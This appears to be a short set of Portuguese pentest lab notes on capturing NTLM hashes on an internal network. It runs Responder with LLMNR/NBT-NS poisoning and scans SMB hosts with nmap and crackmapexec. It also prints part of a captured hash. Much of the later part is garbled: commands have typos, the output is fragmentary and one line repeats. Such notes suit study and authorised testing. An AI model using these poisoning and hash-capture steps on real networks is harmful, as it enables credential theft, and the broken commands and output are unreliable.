

# Capturando Hashes na Rede

+ Como estamos simulando a situação de estarmos realizando um pentest interno, usaremos o ataque NBT-NS / LLMNR

```
responder -I eth0 -Pv
```

```
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
  LLMNR           [ON]
  NBT-NS          [ON]
  DNS/MDNS        [ON]

[+] Servers:
  HTTP server     [ON]
  HTTPS server    [ON]
  WPAD proxy      [OFF]
  Auth proxy      [ON]
  SMB server      [ON]
  Kerberos server [ON]
  SQL server      [ON]
  FTP server      [ON]
  IMAP server     [ON]
  POP3 server     [ON]
  SMTP server     [ON]
  DNS server      [ON]
  LDAP server     [ON]
  RDP server      [ON]

[+] HTTP Options:
  Always serving EXE [OFF]
  Serving EXE        [OFF]
  Serving HTML       [OFF]
  Upstream Proxy     [OFF]

[+] Poisoning Options:
  Analyze Mode       [OFF]
  Force WPAD auth    [OFF]
  Force Basic Auth   [OFF]
  Force LM downgrade [OFF]
  Fingerprint hosts  [OFF]

[+] Generic Options:
  Responder NIC      [eth0]
  Responder IP       [172.16.1.249]
  Challenge set      [random]
```

→ Com o tempo, estaremos respondendo as requisições das máquinas do domínio,

```
map --open -v -s5 -p 445 -Pn 172.16.1.0/24 -o  
cat smb.txt | grep 'Up' | cat -d ' ' -f 2 > ta  
crackmapexec smb targets
```

```
.local          172.16.1.243      443      SERVER02
(service: File Server) 443      CORPFCB1

.local --open -Ph 172.16.1.243

host 172.16.1.243 172.16.1.243
Host 172.16.1.243 172.16.1.243
host 172.16.1.243 172.16.1.243
: FD6EB5BA835CAE49152AE7F2EB2D133C:0101
60056000400140053004D00420033002E006C0
53004D00420033002E006C006F00630061006C
CB48C5B840A001000000000000000000000000

.local
.local / C:\inetpub\wwwroot
C:\inetpub\wwwroot
```

- sendo "hash" o nome do arquivo em que copiamos o hash encontrado

→ sendo "hash" o nome do arquivo em que copiamos o hash encontrado